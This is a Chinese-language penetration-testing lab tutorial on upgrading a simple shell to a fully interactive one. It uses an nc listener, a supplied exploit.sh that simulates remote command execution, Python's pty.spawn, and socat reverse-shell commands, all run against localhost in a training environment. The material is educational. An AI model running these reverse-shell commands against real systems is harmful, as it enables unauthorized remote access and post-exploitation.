简介
在渗透测试领域,获取目标系统的访问权限通常涉及获得一个 shell,这可以是一个简单的 shell 或一个交互式 shell。简单的 shell 功能有限,缺乏交互能力,而交互式 shell 则提供了一个更强大且用户友好的环境。本实验旨在探索简单 shell 和交互式 shell 之间的区别,并指导你将简单 shell 升级为交互式 shell。
在渗透测试领域,获取目标系统的访问权限通常涉及获得一个 shell,这可以是一个简单的 shell 或一个交互式 shell。简单的 shell 功能有限,缺乏交互能力,而交互式 shell 则提供了一个更强大且用户友好的环境。本实验旨在探索简单 shell 和交互式 shell 之间的区别,并指导你将简单 shell 升级为交互式 shell。
在这一步骤中,我们将探讨简单 shell 的概念及其局限性。简单 shell 通常通过远程命令执行漏洞或其他利用技术获得。虽然它允许你在目标系统上执行命令,但它缺乏一些关键功能,这些功能可能会阻碍后续的利用阶段。
首先,打开一个终端窗口并导航到 /home/labex/project
目录:
cd /home/labex/project
为了模拟在目标系统上获取简单 shell 的过程,你需要使用 nc
命令在端口 5911
上设置一个监听器:
nc -lnvp 5911
预期输出:
labex:project/ $ nc -lnvp 5911
listening on [any] 5911 ...
这个终端窗口将作为简单 shell 连接的监听器。
打开另一个终端窗口并导航到 /home/labex/project
目录,你应该会在主目录中看到一个 exploit.sh
文件。该文件模拟了一个远程命令执行漏洞利用,可用于在目标系统上获取简单 shell。
cd /home/labex/project
运行 exploit.sh
脚本以连接到端口 5911
上的监听器,并在目标系统上获取简单 shell:
./exploit.sh
预期输出:
labex:project/ $ ./exploit.sh
Simulating attack...
Shell has been rebound, please check the terminal which you listen to the port 5911
该脚本将连接到端口 5911
上的监听器,并在目标系统上为你提供一个简单 shell。
回到你设置监听器的终端窗口,你应该会看到与目标系统建立的连接。
示例输出:
labex:project/ $ nc -lnvp 5911
listening on [any] 5911 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 38696
|
你可以通过执行诸如 whoami
和 lsb_release -a
等命令来验证你是否获得了简单 shell。然而,你会注意到简单 shell 缺少某些功能,例如适当的命令提示符、Tab 补全以及使用交互式命令(如 su
或 ssh
)的能力。
将简单 shell 升级为交互式 shell 的一种方法是使用 Python 的 pty
模块,它允许你创建一个伪终端(pts)。
首先,通过运行以下命令检查目标系统上是否安装了 Python:
which python
如果 Python 可用,你可以使用以下命令创建一个伪终端:
python -c 'import pty; pty.spawn("/bin/bash");'
该命令将生成一个支持伪终端的新交互式 shell,允许你无任何问题地执行诸如 su
和 ssh
等命令。
示例输出:
labex:project/ $ python -c 'import pty; pty.spawn("/bin/bash");'
labex@660d6d4be229593d40db954d:~/project$
你可以通过运行 tty
命令并将输出重定向到文件来验证新 shell 是否为伪终端:
tty > /home/labex/project/shell.txt
检查 shell.txt
文件的内容,看看 shell 是否为伪终端(pts)。
cat /home/labex/project/shell.txt
示例输出:
labex@660d6d4be229593d40db954d:~/project$ /home/labex/project/shell.txt
/dev/pts/5
然而,尽管 Python 伪终端解决了简单 shell 的一些局限性,但它仍然缺少某些功能,例如 Tab 补全、历史记录导航以及对文本编辑器(如 vim
或 vi
)的适当支持。
PS:你可以通过输入 exit
或按下 Ctrl+D
从伪终端 shell 中退出。
为了获得更全面的解决方案,我们可以使用 socat
工具来获取一个支持所有功能的完整交互式 shell,包括 Tab 补全、历史记录导航和文本编辑器兼容性。
首先,通过运行以下命令检查目标系统上是否安装了 socat
:
which socat
如果 socat
可用,请按照以下步骤操作:
打开一个新的终端窗口,并使用以下 socat
命令在端口 5912
上启动一个监听器:
socat file:$(tty),raw,echo=0 tcp-listen:5912
等待连接建立。
在简单 shell 中,执行以下命令以连接到监听器并将 shell 升级为完整交互式 shell:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:127.0.0.1:5912
回到你设置监听器的终端窗口,你应该会看到与目标系统建立的连接。你现在应该拥有一个完全交互式的 shell,具备常规终端会话中期望的所有功能。
示例输出:
labex:project/ $ socat file:$(tty),raw,echo=0 tcp-listen:5912
labex@660d5d5ee229593d40db9301:~$
通过使用 cat
、ssh
、vim
等命令以及使用上下箭头键浏览命令历史记录来测试新的交互式 shell。
在本实验中,我们在渗透测试的背景下探讨了简单 shell 和交互式 shell 的概念。我们了解了简单 shell 的局限性,以及升级到交互式 shell 对于高效进行后续利用活动的重要性。我们介绍了两种升级简单 shell 的方法:使用 Python 的 pty
模块创建伪终端,以及使用 socat
工具获取具备所有必要功能的完整交互式 shell。通过练习这些技术,你掌握了宝贵的技能,这些技能将在未来的渗透测试任务中帮助你克服简单 shell 带来的挑战,并简化你的后续利用工作。